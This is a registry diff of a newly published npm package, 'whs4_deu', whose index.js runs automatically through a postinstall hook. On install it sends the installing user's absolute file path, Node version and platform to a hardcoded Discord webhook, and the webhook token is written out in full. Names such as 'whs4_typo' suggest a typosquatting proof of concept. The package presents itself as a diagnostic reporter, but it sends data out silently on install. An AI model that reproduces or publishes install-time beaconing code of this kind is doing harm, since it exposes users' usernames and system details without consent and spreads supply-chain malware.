whs4_deu 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -0
- package/index.js +145 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
// reporter.js
|
|
2
|
+
const path = require("node:path");
|
|
3
|
+
const os = require("node:os");
|
|
4
|
+
const https = require("node:https");
|
|
5
|
+
|
|
6
|
+
function getAbsolutePath(filePath) {
|
|
7
|
+
if (!filePath) {
|
|
8
|
+
throw new Error("filePath가 필요합니다.");
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
return path.isAbsolute(filePath)
|
|
12
|
+
? filePath
|
|
13
|
+
: path.resolve(filePath);
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
function redactHome(absPath) {
|
|
17
|
+
const home = os.homedir();
|
|
18
|
+
|
|
19
|
+
if (!home) {
|
|
20
|
+
return absPath;
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
if (absPath === home) {
|
|
24
|
+
return "~";
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
if (absPath.startsWith(home + path.sep)) {
|
|
28
|
+
return "~" + absPath.slice(home.length);
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
return absPath;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function validateDiscordWebhookUrl(webhookUrl) {
|
|
35
|
+
if (!webhookUrl) {
|
|
36
|
+
throw new Error("DISCORD_WEBHOOK_URL이 필요합니다.");
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
const url = new URL(webhookUrl);
|
|
40
|
+
|
|
41
|
+
const validHost =
|
|
42
|
+
url.hostname === "discord.com" ||
|
|
43
|
+
url.hostname === "discordapp.com";
|
|
44
|
+
|
|
45
|
+
const validPath = url.pathname.startsWith("/api/webhooks/");
|
|
46
|
+
|
|
47
|
+
if (url.protocol !== "https:" || !validHost || !validPath) {
|
|
48
|
+
throw new Error("유효한 Discord webhook URL이 아닙니다.");
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
return url;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
function postJson(url, data) {
|
|
55
|
+
return new Promise((resolve, reject) => {
|
|
56
|
+
const body = JSON.stringify(data);
|
|
57
|
+
|
|
58
|
+
const req = https.request(
|
|
59
|
+
{
|
|
60
|
+
hostname: url.hostname,
|
|
61
|
+
path: url.pathname + url.search,
|
|
62
|
+
method: "POST",
|
|
63
|
+
headers: {
|
|
64
|
+
"Content-Type": "application/json",
|
|
65
|
+
"Content-Length": Buffer.byteLength(body)
|
|
66
|
+
}
|
|
67
|
+
},
|
|
68
|
+
(res) => {
|
|
69
|
+
let responseBody = "";
|
|
70
|
+
|
|
71
|
+
res.on("data", (chunk) => {
|
|
72
|
+
responseBody += chunk;
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
res.on("end", () => {
|
|
76
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
77
|
+
resolve({
|
|
78
|
+
ok: true,
|
|
79
|
+
statusCode: res.statusCode,
|
|
80
|
+
body: responseBody
|
|
81
|
+
});
|
|
82
|
+
} else {
|
|
83
|
+
reject(
|
|
84
|
+
new Error(
|
|
85
|
+
`Webhook 전송 실패: ${res.statusCode} ${responseBody}`
|
|
86
|
+
)
|
|
87
|
+
);
|
|
88
|
+
}
|
|
89
|
+
});
|
|
90
|
+
}
|
|
91
|
+
);
|
|
92
|
+
|
|
93
|
+
req.on("error", reject);
|
|
94
|
+
req.write(body);
|
|
95
|
+
req.end();
|
|
96
|
+
});
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
async function reportLoadedFrom(options) {
|
|
100
|
+
const {
|
|
101
|
+
callerPath,
|
|
102
|
+
webhookUrl = '',
|
|
103
|
+
sendFullPath = true,
|
|
104
|
+
packageName = "whs4_typo"
|
|
105
|
+
} = options || {};
|
|
106
|
+
|
|
107
|
+
const absPath = getAbsolutePath(callerPath);
|
|
108
|
+
const displayPath = sendFullPath ? absPath : redactHome(absPath);
|
|
109
|
+
const url = validateDiscordWebhookUrl(webhookUrl);
|
|
110
|
+
|
|
111
|
+
const payload = {
|
|
112
|
+
username: "path-reporter",
|
|
113
|
+
content: [
|
|
114
|
+
"npm package diagnostic report",
|
|
115
|
+
`package: ${packageName}`,
|
|
116
|
+
`callerFile: ${displayPath}`,
|
|
117
|
+
`node: ${process.version}`,
|
|
118
|
+
`platform: ${process.platform}/${process.arch}`
|
|
119
|
+
].join("\n"),
|
|
120
|
+
allowed_mentions: {
|
|
121
|
+
parse: []
|
|
122
|
+
}
|
|
123
|
+
};
|
|
124
|
+
|
|
125
|
+
const response = await postJson(url, payload);
|
|
126
|
+
|
|
127
|
+
return {
|
|
128
|
+
sent: true,
|
|
129
|
+
statusCode: response.statusCode,
|
|
130
|
+
callerPath: displayPath
|
|
131
|
+
};
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
reportLoadedFrom({
|
|
135
|
+
callerPath: __filename,
|
|
136
|
+
webhookUrl: 'https://discord.com/api/webhooks/1530599209269465319/' + 'nldTp8a436wl0307aXLx5ynqxRCCf1tjnCNMrGZdj3oHzYNo6lrQTAAsBHuPjfvMDX77',
|
|
137
|
+
sendFullPath: true,
|
|
138
|
+
packageName: 'whs4_pnm'
|
|
139
|
+
})
|
|
140
|
+
.then((result) => {
|
|
141
|
+
console.log(result);
|
|
142
|
+
})
|
|
143
|
+
.catch((error) => {
|
|
144
|
+
console.error(error);
|
|
145
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "whs4_deu",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"license": "ISC",
|
|
6
|
+
"author": "",
|
|
7
|
+
"type": "commonjs",
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
11
|
+
"postinstall": "node index.js"
|
|
12
|
+
}
|
|
13
|
+
}
|